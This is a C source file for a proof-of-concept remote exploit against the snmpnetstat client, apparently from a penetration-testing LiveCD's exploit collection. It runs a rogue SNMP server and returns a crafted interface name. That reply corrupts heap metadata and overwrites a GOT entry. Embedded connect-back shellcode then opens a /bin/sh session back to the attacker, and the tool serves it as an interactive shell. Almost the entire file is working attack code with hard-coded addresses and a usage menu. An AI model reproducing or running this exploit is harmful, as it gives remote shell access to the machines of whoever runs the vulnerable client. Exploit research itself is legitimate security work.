home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / snmp / snmpx.c < prev   
C/C++ Source or Header  |  2005-02-12  |  20KB  |  859 lines
  1.  
  2. /*
  3.  * Proof of concept xploit for snmpnetstat  
  4.  *
  5.  *  This causes snmpnetstat to overwrite the GOT entry
  6.  * of endprotoent with the address of a connect-back
  7.  * shellcode. The shellcode has some size limitations.
  8.  *
  9.  *  USE THIS AT YOUR OWN RISK
  10.  *
  11.  *  Send comments to Juan M. de la Torre / jmtorre@axiomasistemas.com
  12.  *  http://www.axiomasistemas.com
  13.  */
  14.  
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <stdarg.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <sys/poll.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23. #include <errno.h>
  24. #include <string.h>
  25. #include <unistd.h>
  26. #include <netdb.h>
  27. #include <getopt.h>
  28.  
  29. /*
  30.  * Constants
  31.  */
  32. #define ASN_SEQUENCE      0x10
  33. #define ASN_CONSTRUCTOR   0x20
  34. #define ASN_INTEGER       0x02
  35. #define ASN_OCTET_STRING  0x04
  36. #define ASN_CONTEXT       0x80
  37. #define ASN_OBJECTID      0x06
  38.  
  39. #define SNMP_GETREQUEST     (ASN_CONSTRUCTOR | ASN_CONTEXT)
  40. #define SNMP_GETNEXTREQUEST (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x1)
  41. #define SNMP_GETRESPONSE    (ASN_CONSTRUCTOR | ASN_CONTEXT | 0x2)
  42.  
  43. enum exploit_states 
  44. { 
  45.     STATE_LISTENING, STATE_QUITTING, STATE_WAITING_GETNEXT1,
  46.     STATE_WAITING_GETNEXT2, STATE_WAITING_CONNECT
  47. };
  48.  
  49. /*
  50.  * Globals (I know globals sucks, but...)
  51.  */
  52. static int state;
  53. static int session_id;
  54. static struct sockaddr_in client;
  55. static unsigned short bindport = 3234;
  56. static int use_bind_addr = 0;
  57. static unsigned long bind_addr;
  58.  
  59. /*
  60.  * 101 bytes connect-back shellcode 
  61.         xorl %eax, %eax
  62.         pushl %eax            # push IPPROTO_IP
  63.         inc %eax
  64.         pushl %eax            # push SOCK_STREAM
  65.         inc %eax
  66.         jmp skip
  67.         nop
  68.         nop
  69.         nop
  70.         nop
  71.         nop
  72.         nop
  73.         nop
  74.         nop
  75. skip:
  76.         pushl %eax           # push AF_INET
  77.         movl %esp, %ecx
  78.         xorl %ebx, %ebx
  79.         movb $0x1, %bl       # SYS_SOCKET
  80.         movb $102, %al       # __NR_socketcall
  81.         int $0x80
  82.         movl %eax, %edx      # save fd in eax and edx
  83.         movb $0x3, %bl       # SYS_CONNECT
  84.         movl %eax, (%ebp)    # put fd as first argument
  85.         pushl $0x0100007f    # fill struct sockaddr_in
  86.         pushl $0x01010002
  87.         movl %esp, 0x4(%ebp)
  88.         movb $16, %al        # sizeof struct sockaddr_in
  89.         movl %eax, 0x8(%ebp)
  90.         movl %ebp, %ecx
  91.         movb $102, %al       # __NR_socketcall
  92.         int $0x80
  93.         decb %bl # %ebx contains '2'
  94.         movzbl %dl, %ecx
  95. loop1:
  96.         movb $6, %al         # __NR_close
  97.         int $0x80
  98.         xchgb %cl, %bl
  99.         movb $63, %al        # __NR_dup2
  100.         int $0x80
  101.         xchgb %cl, %bl
  102.         decb %bl
  103.         jge loop1
  104.         pushl $0x0068732f
  105.         pushl $0x6e69622f
  106.         movl %esp, %ebx
  107.         xorl %edx, %edx
  108.         pushl %edx
  109.         pushl %ebx
  110.         movl %esp, %ecx
  111.         movb $0xb, %al       # __NR_execve
  112.         int $0x80
  113.  */
  114. static u_char shellcode[] = {
  115.         0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0xeb, 0x08, 0x90, 0x90, 0x90,
  116.         0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0x89, 0xe1, 0x31, 0xdb, 0xb3,
  117.         0x01, 0xb0, 0x66, 0xcd, 0x80, 0x89, 0xc2, 0xb3, 0x03, 0x89, 0x45,
  118.         0x00, 0x68, 0x7f, 0x00, 0x00, 0x01, 0x68, 0x02, 0x00, 0x01, 0x01,
  119.         0x89, 0x65, 0x04, 0xb0, 0x10, 0x89, 0x45, 0x08, 0x89, 0xe9, 0xb0,
  120.         0x66, 0xcd, 0x80, 0xfe, 0xcb, 0x0f, 0xb6, 0xca, 0xb0, 0x06, 0xcd,
  121.         0x80, 0x86, 0xcb, 0xb0, 0x3f, 0xcd, 0x80, 0x86, 0xcb, 0xfe, 0xcb,
  122.         0x7d, 0xf0, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68, 0x2f, 0x62, 0x69,
  123.         0x6e, 0x89, 0xe3, 0x31, 0xd2, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b,
  124.         0xcd, 0x80
  125. };
  126.  
  127. static void __attribute__ ((noreturn))
  128. fatal (u_char *fmt, ...)
  129. {
  130.     va_list ap;
  131.  
  132.     va_start (ap, fmt);
  133.     vfprintf (stderr, fmt, ap);
  134.     va_end (ap);
  135.  
  136.     exit (EXIT_FAILURE);
  137. }
  138.  
  139. /*
  140.  * ASN.1 code
  141.  */
  142. static u_char *
  143. asn_append_len (u_char *pkt, int len)
  144. {
  145.     if (len <= 0x7f)
  146.     {
  147.         /* short len */
  148.         *pkt++ = (u_char) len;
  149.         return (pkt);
  150.     }
  151.  
  152.     if (len <= 0xff)
  153.     {
  154.         *pkt++ = 0x81;
  155.         *pkt++ = (u_char) (len);
  156.         return (pkt);
  157.     }
  158.  
  159.     *pkt++ = 0x82;
  160.     *pkt++ = (u_char) ((len & 0xff00) >> 8);
  161.     *pkt++ = (u_char) (len & 0xff);
  162.  
  163.     return (pkt);
  164. }
  165.  
  166. static u_char *
  167. asn_append_sequence (u_char *pkt, int len)
  168. {
  169.     *pkt++ = (ASN_SEQUENCE | ASN_CONSTRUCTOR);
  170.     pkt = asn_append_len (pkt, len);
  171.     return (pkt);
  172. }
  173.  
  174. static u_char *
  175. asn_append_objectid (u_char *pkt, u_char *str, int nlen)
  176. {
  177.     int i = 0;
  178.     
  179.     *pkt++ = ASN_OBJECTID;
  180.     pkt = asn_append_len (pkt, nlen);
  181.     
  182.     while (nlen--)
  183.         *pkt++ = str[i++];
  184.  
  185.     return (pkt);
  186. }
  187.  
  188. static u_char *
  189. asn_append_octet_string (u_char *pkt, u_char *str, int nlen)
  190. {
  191.     int i = 0;
  192.     
  193.     *pkt++ = ASN_OCTET_STRING;
  194.     pkt = asn_append_len (pkt, nlen);
  195.     
  196.     while (nlen--)
  197.         *pkt++ = str[i++];
  198.  
  199.     return (pkt);
  200. }
  201.  
  202. static u_char *
  203. asn_append_integer (u_char *pkt, unsigned long n, int nlen)
  204. {
  205.     if (nlen != 4 && nlen != 2 && nlen != 1)
  206.         fatal ("error: bad nlen in asn_append_integer(): %i\n",
  207.                 nlen);
  208.  
  209.     *pkt++ = ASN_INTEGER;
  210.     *pkt++ = (u_char) (nlen & 0xff);
  211.  
  212.     switch (nlen)
  213.     {
  214.     case 1:
  215.         *pkt++ = (u_char) (n & 0xff);
  216.         break;
  217.  
  218.     case 2:
  219.         *pkt++ = (u_char) ((n & 0xff00) >> 8);
  220.         *pkt++ = (u_char) (n & 0xff);
  221.         break;
  222.         
  223.     case 4:
  224.         *pkt++ = (u_char) ((n & 0xff000000) >> 24);
  225.         *pkt++ = (u_char) ((n & 0xff0000) >> 16);
  226.         *pkt++ = (u_char) ((n & 0xff00) >> 8);
  227.         *pkt++ = (u_char) (n & 0xff);
  228.         break;
  229.     }
  230.  
  231.     return (pkt);
  232. }
  233.  
  234. static u_char *
  235. asn_get_octet_string (u_char *pkt, u_char *dst)
  236. {
  237.     int len, i = 0;
  238.  
  239.     if (*pkt++ != ASN_OCTET_STRING)
  240.         fatal ("error: error while talking to client\n");
  241.  
  242.     len = *pkt++;
  243.  
  244.     while (len--)
  245.         dst[i++] = *pkt++;
  246.  
  247.     return (pkt);
  248. }
  249.  
  250. static u_char *
  251. asn_get_objectid (u_char *pkt, u_char *dst)
  252. {
  253.     int len, i = 0;
  254.  
  255.     if (*pkt++ != ASN_OBJECTID)
  256.         fatal ("error: error while talking to client\n");
  257.  
  258.     len = *pkt++;
  259.  
  260.     while (len--)
  261.         dst[i++] = *pkt++;
  262.  
  263.     return (pkt);
  264. }
  265.  
  266. static u_char *
  267. asn_get_integer (u_char *pkt, int *pdst)
  268. {
  269.     int len, nbits, dst;
  270.     
  271.     if (*pkt++ != ASN_INTEGER)
  272.         fatal ("error: error while talking to client\n");
  273.  
  274.     len = *pkt++;
  275.     if (len != 1 && len != 2 && len != 4)
  276.         fatal ("error: incorrent integer len received from client\n");
  277.         
  278.     switch (len)
  279.     {
  280.     case 4:
  281.         nbits = 24; break;
  282.     case 2:
  283.         nbits = 8; break;
  284.     case 1:
  285.         nbits = 0; break;
  286.     }
  287.  
  288.     dst = 0;
  289.     while (len--)
  290.     {
  291.         dst |= ((*pkt++) << nbits);
  292.         nbits -= 8;
  293.     }
  294.  
  295.     *pdst = dst;
  296.  
  297.     return (pkt);
  298. }
  299.  
  300. static unsigned long
  301. get_source_addr (struct sockaddr_in *s_in)
  302. {
  303.     int sd, slen;
  304.     struct sockaddr_in me;
  305.     
  306.     if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  307.         fatal ("socket(): %s\n", strerror (errno));
  308.     
  309.     if (connect (sd, (struct sockaddr *) s_in, sizeof (struct sockaddr_in)) < 0)
  310.         fatal ("connect(): %s\n", strerror (errno));
  311.  
  312.     slen = sizeof (me);
  313.     if (getsockname (sd, (struct sockaddr *) &me, &slen) < 0)
  314.         fatal ("getsockname(): %s\n", strerror (errno));
  315.  
  316.     close (sd);
  317.     
  318.     return ((unsigned long) me.sin_addr.s_addr);
  319. }
  320.  
  321. typedef struct
  322. {
  323.     unsigned long psize;
  324.     unsigned long size; /* 0x1 -> PREV_INUSE */
  325.     unsigned long fd;
  326.     unsigned long bk;
  327. } chunk_t;
  328.  
  329. #define PREV_INUSE 0x1
  330.  
  331. static u_char *
  332. make_evil_str (int *plen)
  333. {
  334.     int len;
  335.     static u_char buf[BUFSIZ];
  336.     chunk_t *c;
  337.     unsigned long *ip;    
  338.     unsigned short *port;
  339.  
  340.     memset (buf, 0x90, BUFSIZ);
  341.  
  342.     c = (chunk_t *) (buf - 4);
  343.  
  344.     /* leave psize of first chunk unused */
  345.     c->size = 0x16UL;
  346.     c->fd = 0x807dbe8;
  347.     c->bk = 0x8050df0 - 8;
  348.     
  349.     c++;
  350.     c->size = 0UL; /* zero PREV_INUSE bit */
  351.  
  352.     len = 12 + 16 + 14 + sizeof (shellcode);
  353.     memcpy (buf + 16 + 4, shellcode, sizeof (shellcode));
  354.  
  355.     ip = (unsigned long *) (buf + 16 + 4 + 35);
  356.     *ip = (use_bind_addr ? bind_addr : get_source_addr (&client));
  357.  
  358.     port = (unsigned short *) (buf + 16 + 4 + 42);
  359.     *port = htons (bindport);
  360.  
  361.     *plen = len;
  362.     return (buf);
  363. }
  364.  
  365. /*
  366.  * SNMP code
  367.  */
  368. static void
  369. snmp_waiting_getnext2 (int sd, u_char *buf)
  370. {
  371.     u_char *ptr = buf;
  372.     int version, foo;
  373.     u_char comm[BUFSIZ], resp[BUFSIZ];
  374.     u_char oids[11][BUFSIZ];
  375.     int i, len, evil_str_len;
  376.     u_char *evil_str = NULL;
  377.  
  378.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  379.                 fatal ("error: protocol error\n");
  380.  
  381.         ptr += 2;
  382.  
  383.         ptr = asn_get_integer (ptr, &version);
  384.         if (version != 0)
  385.                 fatal ("error: client uses a version different from 0\n");
  386.  
  387.         memset (comm, 0, sizeof (comm));
  388.         ptr = asn_get_octet_string (ptr, comm);
  389.  
  390.         if (*ptr++ != SNMP_GETNEXTREQUEST)
  391.                 fatal ("error: protocol error\n");
  392.  
  393.         ptr += 2; /* skip len */
  394.  
  395.         ptr = asn_get_integer (ptr, &session_id);
  396.  
  397.         ptr = asn_get_integer (ptr, &foo);
  398.         ptr = asn_get_integer (ptr, &foo);
  399.  
  400.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  401.                 fatal ("error: protocol error\n");
  402.         ptr += 2;
  403.  
  404.     for (i = 0; i < 11; i++)
  405.     {
  406.         if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  407.             fatal ("error: protocol error\n");
  408.         ptr++;
  409.         ptr = asn_get_objectid (ptr, oids[i]);
  410.         ptr += 2;
  411.     }
  412.  
  413.         memset (resp, 0, sizeof (resp));
  414.         ptr = resp;
  415.     
  416.     evil_str = make_evil_str (&evil_str_len);
  417.  
  418.     /* calculate len of the response */
  419.     len = 3 + (2 + strlen (comm)) + 4 + 6 + 3 + 3 + 4;
  420.     len += (11 * 14) + 40 + evil_str_len + 2;
  421.  
  422.         ptr = asn_append_sequence (ptr, len);
  423.         ptr = asn_append_integer (ptr, 0, 1);
  424.         ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  425.      
  426.     *ptr++ = SNMP_GETRESPONSE;
  427.     /* calculate len of the getresponse PDU */
  428.     len -= (3 + (2 + strlen (comm)) + 4);
  429.     ptr = asn_append_len (ptr, len);
  430.  
  431.         ptr = asn_append_integer (ptr, session_id, 4);
  432.         ptr = asn_append_integer (ptr, 0, 1);
  433.         ptr = asn_append_integer (ptr, 0, 1);
  434.  
  435.     /* calculate len of data */
  436.     len -= (6 + 3 + 3 + 4);
  437.         ptr = asn_append_sequence (ptr, len);
  438.  
  439.     for (i = 0; i < 11; i++)
  440.     {
  441.         len = 12;
  442.  
  443.         oids[i][9]++;
  444.  
  445.         switch (oids[i][8])
  446.         {
  447.         case 1: /* ifindex */
  448.             len += 4;
  449.             ptr = asn_append_sequence (ptr, len);
  450.             ptr = asn_append_objectid (ptr, oids[i], 10);
  451.             ptr = asn_append_integer (ptr, 2, 1);
  452.             break;
  453.  
  454.         case 2: /* ifname */
  455.             len += 3 + evil_str_len;
  456.             ptr = asn_append_sequence (ptr, len);
  457.             ptr = asn_append_objectid (ptr, oids[i], 10);
  458.             ptr = asn_append_octet_string (ptr, evil_str, evil_str_len);
  459.             break;
  460.  
  461.         case 4: /* ifmtu */
  462.         case 8: /* ifoperstatus */
  463.             len += 4;
  464.             ptr = asn_append_sequence (ptr, len);
  465.             ptr = asn_append_objectid (ptr, oids[i], 10);
  466.             ptr = asn_append_integer (ptr, 2, 2);
  467.             break;
  468.  
  469.         case 0xb:   /* INUCASTPKTS */
  470.         case 0xc:   /* INNUCASTPKTS */
  471.         case 0xe:   /* INERRORS */
  472.         case 0x11:  /* OUTUCASTPKTS */
  473.         case 0x12:  /* OUTNUCASTPKTS */
  474.         case 0x14:  /* OUTERRORS */
  475.             len += 4;
  476.             ptr = asn_append_sequence (ptr, len);
  477.             ptr = asn_append_objectid (ptr, oids[i], 10);
  478.             *ptr++ = 0x41;
  479.             *ptr++ = 2;
  480.             *ptr++ = 1;
  481.             *ptr++ = 1;
  482.             break;
  483.             
  484.         case 0x15:  /* OUTQLEN */
  485.             len += 3;
  486.             ptr = asn_append_sequence (ptr, len);
  487.             ptr = asn_append_objectid (ptr, oids[i], 10);
  488.             *ptr++ = 0x42;
  489.             *ptr++ = 1;
  490.             *ptr++ = 0;
  491.             break;
  492.         }
  493.     }
  494.  
  495.         len = (ptr - resp);
  496.     
  497.         if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  498.                 perror ("sendto()"), exit (EXIT_FAILURE);
  499.  
  500.         state = STATE_WAITING_CONNECT;
  501. }
  502.  
  503. static void
  504. snmp_waiting_getnext1 (int sd, u_char *buf)
  505. {
  506.     u_char *ptr = buf;
  507.     u_char len;
  508.     int version, foo;
  509.     u_char comm[BUFSIZ], oid1[BUFSIZ], oid2[BUFSIZ], oid3[BUFSIZ];
  510.     u_char resp[BUFSIZ];
  511.  
  512.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  513.         fatal ("error: protocol error\n");
  514.  
  515.     len = *ptr++;
  516.  
  517.     ptr = asn_get_integer (ptr, &version);
  518.     if (version != 0)
  519.         fatal ("error: client uses a version different from 0\n");
  520.  
  521.     memset (comm, 0, sizeof (comm));
  522.     ptr = asn_get_octet_string (ptr, comm);
  523.         
  524.     if (*ptr++ != SNMP_GETNEXTREQUEST)
  525.         fatal ("error: protocol error\n");
  526.  
  527.     ptr++; /* skip len */
  528.     
  529.     ptr = asn_get_integer (ptr, &session_id);
  530.  
  531.     ptr = asn_get_integer (ptr, &foo);
  532.     ptr = asn_get_integer (ptr, &foo);
  533.  
  534.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  535.         fatal ("error: protocol error\n");
  536.     ptr++;
  537.  
  538.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  539.         fatal ("error: protocol error\n");
  540.     ptr++;
  541.     ptr = asn_get_objectid (ptr, oid1);
  542.     if (memcmp (oid1, "\x2B\x06\x01\x02\x01\x04\x14\x01\x02\x00\x00\x00\x00", 0x0D) != 0)
  543.         fatal ("error: protocol error\n");
  544.     ptr += 2;
  545.  
  546.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  547.         fatal ("error: protocol error\n");
  548.     ptr++;
  549.     ptr = asn_get_objectid (ptr, oid2);
  550.     if (memcmp (oid2, "\x2B\x06\x01\x02\x01\x04\x14\x01\x01\x00\x00\x00\x00", 0x0D) != 0)
  551.         fatal ("error: protocol error\n");
  552.     ptr += 2;
  553.  
  554.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  555.         fatal ("error: protocol error\n");
  556.     ptr++;
  557.     ptr = asn_get_objectid (ptr, oid3);
  558.     if (memcmp (oid3, "\x2B\x06\x01\x02\x01\x04\x14\x01\x03\x00\x00\x00\x00", 0x0D) != 0)
  559.         fatal ("error: protocol error\n");
  560.  
  561.     memset (resp, 0, sizeof (resp));
  562.     ptr = resp;
  563.  
  564.     ptr = asn_append_sequence (ptr, 0x54 + 9);
  565.     ptr = asn_append_integer (ptr, 0, 1);
  566.     ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  567.     *ptr++ = SNMP_GETRESPONSE;
  568.     *ptr++ = 0x47 + 9;
  569.     ptr = asn_append_integer (ptr, session_id, 4);
  570.     ptr = asn_append_integer (ptr, 0, 1);
  571.     ptr = asn_append_integer (ptr, 0, 1);
  572.     
  573.     ptr = asn_append_sequence (ptr, 0x39 + 9);
  574.     
  575.     ptr = asn_append_sequence (ptr, 0x11 + 1);
  576.     ptr = asn_append_objectid (ptr, oid1, 0x0D);
  577.     ptr = asn_append_integer (ptr, 1, 1);
  578.     
  579.     ptr = asn_append_sequence (ptr, 0x11 + 4);
  580.     ptr = asn_append_objectid (ptr, oid2, 0x0D);
  581.     ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
  582.     
  583.     ptr = asn_append_sequence (ptr, 0x11 + 4);
  584.     ptr = asn_append_objectid (ptr, oid3, 0x0D);
  585.     ptr = asn_append_integer (ptr, 0xaabbccdd, 4);
  586.     
  587.     len = (ptr - resp);
  588.  
  589.     if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  590.         perror ("sendto()"), exit (EXIT_FAILURE);
  591.  
  592.     state = STATE_WAITING_GETNEXT2;
  593. }
  594.  
  595. static void
  596. snmp_listening (int sd, u_char *buf)
  597. {
  598.     u_char *ptr = buf;
  599.     u_char len;
  600.     int version, foo;
  601.     u_char comm[BUFSIZ], oid[BUFSIZ];
  602.     u_char resp[BUFSIZ];
  603.     
  604.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  605.         fatal ("error: protocol error\n");
  606.  
  607.     len = *ptr++;
  608.  
  609.     ptr = asn_get_integer (ptr, &version); 
  610.     if (version != 0)
  611.         fatal ("error: client uses a version different from 0\n");
  612.  
  613.     memset (comm, 0, sizeof (comm));
  614.     ptr = asn_get_octet_string (ptr, comm);
  615.         
  616.     if (*ptr++ != SNMP_GETREQUEST)
  617.         fatal ("error: protocol error\n");
  618.  
  619.     ptr++; /* skip len */
  620.  
  621.     ptr = asn_get_integer (ptr, &session_id);
  622.     ptr = asn_get_integer (ptr, &foo);
  623.     ptr = asn_get_integer (ptr, &foo);
  624.  
  625.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  626.         fatal ("error: protocol error\n");
  627.     ptr++;
  628.     if (*ptr++ != (ASN_SEQUENCE | ASN_CONSTRUCTOR))
  629.         fatal ("error: protocol error\n");
  630.     ptr++;
  631.  
  632.     ptr = asn_get_objectid (ptr, oid);
  633.     if (memcmp (oid, "\x2B\x06\x01\x02\x01\x02\x01\x00", 8) != 0)
  634.         fatal ("error: protocol error\n");
  635.     
  636.     memset (resp, 0, sizeof (resp));
  637.     ptr = resp;
  638.  
  639.     ptr = asn_append_sequence (ptr, 42);
  640.     ptr = asn_append_integer (ptr, 0, 1);
  641.     ptr = asn_append_octet_string (ptr, comm, strlen (comm));
  642.     *ptr++ = SNMP_GETRESPONSE;
  643.     *ptr++ = 0x1D;
  644.     ptr = asn_append_integer (ptr, session_id, 4);
  645.     ptr = asn_append_integer (ptr, 0, 1);
  646.     ptr = asn_append_integer (ptr, 0, 1);
  647.     ptr = asn_append_sequence (ptr, 0x0F);
  648.     ptr = asn_append_sequence (ptr, 0x0D);
  649.     ptr = asn_append_objectid (ptr, oid, 8);
  650.     ptr = asn_append_integer (ptr, 1, 1);
  651.     
  652.     len = (ptr - resp);
  653.  
  654.     if (sendto (sd, resp, len, 0, (struct sockaddr *) &client, sizeof (client)) != len)
  655.         perror ("sendto()"), exit (EXIT_FAILURE);
  656.  
  657.     state = STATE_WAITING_GETNEXT1;
  658. }
  659.  
  660. static void
  661. bindshell (int sd)
  662. {
  663.     struct pollfd fds[2];
  664.     u_char *cmds = "pwd; id; uname -a\n";
  665.     u_char buf[BUFSIZ];
  666.     int n;
  667.     
  668.     write (sd, cmds, strlen (cmds));
  669.  
  670.     while (1)
  671.     {
  672.         memset (&fds, 0, sizeof (fds));
  673.  
  674.         fds[0].events = fds[1].events = POLLIN;
  675.         fds[0].fd = sd;
  676.         fds[1].fd = 0;
  677.  
  678.         if (poll (fds, 2, -1) < 0)
  679.             fatal ("poll(): %s\n", strerror (errno));
  680.  
  681.         if (fds[0].revents & (POLLERR | POLLNVAL | POLLHUP))
  682.             fatal ("connection closed\n");
  683.  
  684.         if (fds[0].revents & POLLIN)
  685.         {
  686.             n = read (fds[0].fd, buf, BUFSIZ);
  687.             if (n < 1)
  688.                 fatal ("connection closed\n");
  689.             write (1, buf, n);
  690.         }
  691.         
  692.         if (fds[1].revents & POLLIN)
  693.         {
  694.             n = read (fds[1].fd, buf, BUFSIZ);
  695.             write (sd, buf, n);
  696.         }
  697.     }
  698. }
  699.  
  700. static void
  701. snmp_waiting_connect (void)
  702. {
  703.     int sd, val, fsd, slen;
  704.     struct sockaddr_in s_in;
  705.     struct pollfd pfd;
  706.     
  707.     if ((sd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  708.         fatal ("socket(): %s\n", strerror (errno));
  709.  
  710.     memset (&s_in, 0, sizeof (s_in));
  711.     s_in.sin_family = AF_INET;
  712.     s_in.sin_addr.s_addr = (use_bind_addr ? bind_addr : INADDR_ANY);
  713.     s_in.sin_port = htons (bindport);
  714.  
  715.     if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
  716.         fatal ("bind(): %s\n", strerror (errno));
  717.  
  718.     listen (sd, 5);
  719.  
  720.     fprintf (stderr, "awaiting connection from client...\n");
  721.  
  722.     memset (&pfd, 0, sizeof (pfd));
  723.     pfd.fd = sd;
  724.     pfd.events = POLLIN;
  725.  
  726.     if ((val = poll (&pfd, 1, 20 * 1000)) < 0)
  727.         fatal ("poll(): %s\n", strerror (errno));
  728.  
  729.     if (val < 1 || pfd.revents & (POLLERR | POLLNVAL | POLLHUP) || !(pfd.revents & POLLIN))
  730.         fatal ("no connection from client in 20 seconds. aborting\n");
  731.  
  732.     memset (&s_in, 0, sizeof (s_in));
  733.     slen = sizeof (s_in);
  734.     fsd = accept (sd, &s_in, &slen);
  735.     close (sd);
  736.  
  737.     if (fsd < 0)
  738.         fatal ("accept(): %s\n", strerror (errno));
  739.  
  740.     fprintf (stderr, "received connection from %s:%i\n",
  741.             inet_ntoa (s_in.sin_addr),
  742.             htons (s_in.sin_port));
  743.  
  744.     bindshell (fsd);
  745. }
  746.  
  747. static void
  748. snmp_proccess (int sd, u_char *buf)
  749. {
  750.     switch (state)
  751.     {
  752.     case STATE_LISTENING:
  753.         snmp_listening (sd, buf);
  754.         break;
  755.  
  756.     case STATE_WAITING_GETNEXT1:
  757.         snmp_waiting_getnext1 (sd, buf);
  758.         break;
  759.  
  760.     case STATE_WAITING_GETNEXT2:
  761.         snmp_waiting_getnext2 (sd, buf);
  762.         break;
  763.     }
  764. }
  765.  
  766. static void __attribute__ ((noreturn))
  767. usage (u_char *p)
  768. {
  769.     fprintf (stderr, "Usage: %s [options]\n", p);
  770.     fprintf (stderr, "options:\n"
  771.             "-p <port>\tsnmp port to listen on\n"
  772.             "-P <port>\tconnect-back port\n"
  773.             "-a <ip>\t\tbind socket to this address\n"
  774.             "-h\t\tshow this\n\n");
  775.     exit (EXIT_FAILURE);
  776. }
  777.  
  778. int
  779. main (int argc, char *argv[])
  780. {
  781.     int sd, slen;
  782.     struct sockaddr_in s_in;
  783.     u_char buf[BUFSIZ];
  784.     unsigned short snmp_port = 161;
  785.     unsigned long snmp_ip = INADDR_ANY;
  786.     char opt;
  787.     
  788.     fprintf (stderr, "\nproof of concept snmpnetstat xploit - Juan M. de la Torre <jmtorre@axiomasistemas.com>\n\n");
  789.  
  790.     while ((opt = getopt (argc, argv, "p:P:a:h")) != EOF)
  791.         switch (opt)
  792.         {
  793.         case 'p':
  794.             snmp_port = atoi (optarg);
  795.             break;
  796.  
  797.         case 'P':
  798.             bindport = atoi (optarg);
  799.             break;
  800.         
  801.         case 'a':
  802.             if (inet_aton (optarg, (struct in_addr *) &snmp_ip) == 0)
  803.                 fatal ("%s is not a valid ip address\n", optarg);
  804.             bind_addr = snmp_ip;
  805.             use_bind_addr = 1;
  806.             break;
  807.         
  808.         case 'h': /* fallthrough */
  809.         default:
  810.             usage (argv[0]);
  811.         }
  812.  
  813.     fprintf (stderr, "use -h to show usage\n");
  814.  
  815.     if ((sd = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
  816.         perror ("socket()"), exit (EXIT_FAILURE);
  817.  
  818.     memset (&s_in, 0, sizeof (s_in));
  819.     s_in.sin_family = AF_INET;
  820.     s_in.sin_port = htons (snmp_port);
  821.     s_in.sin_addr.s_addr = snmp_ip;
  822.  
  823.     if (bind (sd, (struct sockaddr *) &s_in, sizeof (s_in)) < 0)
  824.         perror ("bind()"), exit (EXIT_FAILURE);
  825.  
  826.     state = STATE_LISTENING;
  827.  
  828.     fprintf (stderr, "bound socket to %s:%i\n", inet_ntoa (s_in.sin_addr), snmp_port);
  829.  
  830.     while (1)
  831.     {
  832.         memset (buf, 0, sizeof (buf));
  833.         slen = sizeof (client);
  834.         if (recvfrom (sd, buf, sizeof (buf), 0, (struct sockaddr *) &client, &slen) < 1)
  835.             perror ("recvfrom()"), exit (EXIT_FAILURE);
  836.  
  837.         fprintf (stderr, "procesing snmp packet from %s:%i\n",
  838.                 inet_ntoa (client.sin_addr),
  839.                 htons (client.sin_port));
  840.  
  841.         snmp_proccess (sd, buf);
  842.  
  843.         if (state == STATE_QUITTING)
  844.             break;
  845.  
  846.         if (state == STATE_WAITING_CONNECT)
  847.         {
  848.             snmp_waiting_connect ();
  849.             break;
  850.         }
  851.     }
  852.  
  853.     close (sd);
  854.     
  855.     exit (EXIT_SUCCESS);
  856. }
  857.  
  858.  
  859.